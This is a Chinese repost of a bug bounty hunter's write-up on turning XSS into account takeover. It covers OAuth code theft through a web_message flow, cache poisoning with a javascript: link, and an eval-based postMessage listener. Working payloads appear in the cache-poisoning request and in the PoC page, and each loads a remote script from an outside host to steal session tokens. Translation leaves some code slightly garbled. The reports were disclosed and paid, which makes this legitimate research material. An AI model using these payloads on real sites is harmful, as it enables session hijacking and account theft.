利用 XSS 实现最大影响

admin 2025年6月6日09:14:32评论17 views字数 3605阅读12分1秒阅读模式
利用 XSS 实现最大影响利用 XSS 实现最大影响
— ﷽ —

 最近查看我的数据时,我发现了一些有趣的事情。我报告最多的漏洞类型是XSS(跨站脚本)

利用 XSS 实现最大影响利用 XSS 实现最大影响
我的 BugCrowd 提交类型和严重性

这并不让我感到惊讶,我一直对客户端漏洞特别感兴趣。

在这篇文章中,我将带您回顾我最近报告的一些帐户劫持事件。我将向您展示发现 XSS 后应该去哪里查找,以及如何最大化其影响以升级严重性,从而有望获得更高的赏金

定义最大影响

影响是指漏洞被利用后可能造成的潜在后果或损害。
对于客户端漏洞,最高可能造成的影响是账户接管。实现此目标的方法因目标架构而异。

所以,在你点击“提交报告”按钮之前,一定要问问自己:我还能进一步调查吗?我能把这件事变成全面的账户泄露吗?

案例研究 1:通过 XSS 窃取 Oauth 令牌导致账户接管

这里的目标是一家流行的加密货币交易所。我的一个朋友在模糊测试参数时发现了一个名为的隐藏_method参数。顾名思义,它被用来覆盖HTTP方法。当发送非标准或不受支持的 HTTP 方法时,服务器会在响应中将其反映出来,而无需进行任何处理。

利用 XSS 实现最大影响利用 XSS 实现最大影响
目标响应

目标位于 Akamai 背后,但绕过他们的WAF相对容易。然而,我又遇到了另一个障碍:所有输入都会被自动转换为大写。这很成问题,因为 JavaScript 函数区分大小写。例如,IMPORT()就无法工作,因为它必须是import()

我通过使用HTML 实体绕过案例强制来克服这个限制。

hello, world! -> hello, world!

现在我确认我可以执行代码,我开始寻找可以帮助我们展示影响的小工具。

我不断探索,最终发现目标的 OAuth 流程支持web_message响应模式。只要开启者的根域名与目标域名匹配,它就会将 OAuth 代码发送给开启者。

攻击流程如下:

  1. 攻击者向受害者发送指向易受攻击的端点的链接。
  2. 受害者点击login.target.com该链接,从而触发(合法登录页面)上的登录提示。
  3. 受害者登录
  4. OAuth 授权码被发送xss.target.com,攻击者在其中注入了包含消息监听器的 JavaScript 代码来捕获OAuth 授权码。
  5. 攻击者使用窃取的授权码获取 OAuth 访问令牌。
  6. 攻击者获得受害者的会话,完全危及受害者的帐户。

下面这张草图部分解释了这个过程……

利用 XSS 实现最大影响利用 XSS 实现最大影响
攻击流程

下面是报告中的一张截图,可以帮助您理清思路:

利用 XSS 实现最大影响利用 XSS 实现最大影响

该计划将严重程度评定为(8.2)并支付了 5,000 美元。

利用 XSS 实现最大影响利用 XSS 实现最大影响

案例研究2:利用XSS和缓存中毒进行零点击账户接管

Web 缓存中毒是一种先进的技术,攻击者利用 Web 服务器和缓存的行为向其他用户提供有害的 HTTP 响应。

在这种情况下,我们会使用恶意 JavaScript 来毒害响应,这样我们就可以在用户不进行任何交互的情况下利用用户。

这次的目标是一家受欢迎的运动服装公司。它有一个功能,为用户提供产品比较的能力,它接受url一个参数,并将其插入到href锚元素的属性中,而无需任何验证,从而允许使用该javascript:方案

另外,该label参数直接设置textContent锚标签的,更容易吸引用户点击。

因此,我们发送一个 HTTP 请求:

GET /products?url=javascript:import(%22https://cdn.jsdelivr.net/gh/itsryuku/jsdlvr/poc.js%22)&label=BUGCROWD%20POC!%20CLICK%20FOR%2050%25%20OFF%20EVERYTHING!! HTTP/1.1
Host: redacted.com

我们在响应中找到我们的有效载荷,然后缓存为我们完成剩下的工作,使任何浏览的人都可以使用它/products,并将有效载荷嵌入其中。

参数未包含在缓存键中,因此即使值不匹配,缓存也会返回我的中毒响应。

利用 XSS 实现最大影响利用 XSS 实现最大影响
PS:超链接并不是唯一被污染的元素。

我很幸运地发现会话 cookie 不是HttpOnly;因此,JavaScript 可以访问它。

以下是我如何窃取会话的解释:

利用 XSS 实现最大影响利用 XSS 实现最大影响
向程序解释我如何执行会话劫持。

我认为这应该被归类为严重,但它被标记为支付了2,000 美元。

利用 XSS 实现最大影响利用 XSS 实现最大影响

案例研究3:通过postMessage攻击导致账户接管

postMessage API支持在浏览上下文(例如 iframe、弹出窗口或标签页)之间进行安全的跨域通信。它通常用于在页面与其生成的弹出窗口之间,或页面与嵌入的 iframe 之间交换数据。

不当使用postMessage可能会导致XSS和信息泄露等漏洞。我们将介绍一个利用XSS导致帐户接管的案例。

在访问目标主页时,postMessage-tracker提示页面有一个消息监听器,我打开开发者工具查看,发现代码被混淆了

window[_0x15ee85(447)](
"message",
function (_0x678474) {
var _0x35134a = _0x15ee85;
try {
if (void0 === _0x678474[_0x35134a(444)]) return;
if (null === _0x678474[_0x35134a(444)]) return;
if (void0 === _0x678474[_0x35134a(444)][_0x35134a(231)]) return;
if (void0 === _0x678474[_0x35134a(444)][_0x35134a(649)]) return;
if (_0x678474[_0x35134a(444)][_0x35134a(231)] !== _0x35134a(251))
return;
eval(_0x678474[_0x35134a(444)][_0x35134a(649)]);
} catch (a) {}
},
!1
);

虽然有很多方法和工具可以反混淆代码,但由于代码相对较短,我决定进行动态反混淆。几分钟内,我就明白了监听器需要两个重要的属性:evaltarget。该代码不会检查发送者的来源,而是直接将接收到的eval属性传递给臭名昭著的eval()函数,从而导致 JavaScript 执行。

利用 XSS 实现最大影响利用 XSS 实现最大影响
在 devtools 中调试

目标有一个端点,该端点在响应主体/account/oauth/token中返回了访问令牌。因此,我使用XSS获取带有凭据的端点,从而轻松实现了会话劫持。

poc验证:

<body>
<buttonid="target">PoC</button>
<script>
document
.querySelector("#target")
.addEventListener("click", function () {
// Open the vulnerable page
const win = window.open("https://redacted.com/");

// Define the malicious message that will trigger the XSS
// This code injects an external script that handles session theft
const payload = {
eval: "s=document.createElement('script');s.src='https://myserver.com/poc.js';document.body.appendChild(s)",
target: "framework",
};
// Send the message once loaded
setTimeout(() => win.postMessage(payload, "*"), 4000);
});
</script>
</body>

该计划支付了1,194.04 美元并发送了令人鼓舞的信息。

利用 XSS 实现最大影响利用 XSS 实现最大影响
👀
利用 XSS 实现最大影响利用 XSS 实现最大影响

postMessage 漏洞是我最感兴趣的几个。我很快会发布一篇文章,讲解如何发现和利用这些漏洞,并分享我提交的几个最精彩的 postMessage 漏洞!

福利:下雨了🌧️XSS

在撰写本文时,我发现了另一个导致帐户劫持的XSS漏洞。这非常令人兴奋,因为我必须绕过一些必要的检查!

我会给你留下原始报告,其中目标的信息照常被删除以尊重他们的隐私。

利用 XSS 实现最大影响利用 XSS 实现最大影响
第 1 部分
利用 XSS 实现最大影响利用 XSS 实现最大影响
第 2 部分
利用 XSS 实现最大影响利用 XSS 实现最大影响
概念验证

最后总结: XSS 仍然是HackerOne
上最常见、报告最广泛的漏洞,使其成为每个漏洞猎人工具包中的必备工具。但是,由于每个人都知道如何找到明显的 XSS 漏洞,因此要脱颖而出,需要更深入地挖掘——掌握边缘案例,理解漏洞利用的细微差别,并超越基础思考。始终瞄准更高的目标,针对帐户接管 (ATO) 场景,提供真正有影响力且独特的发现。这样,您才能从一份普通的 XSS 报告晋升为一个改变游戏规则的漏洞。

原文始发于微信公众号(安全狗的自我修养):利用 XSS 实现最大影响

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月6日09:14:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 XSS 实现最大影响https://cn-sec.com/archives/4138845.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息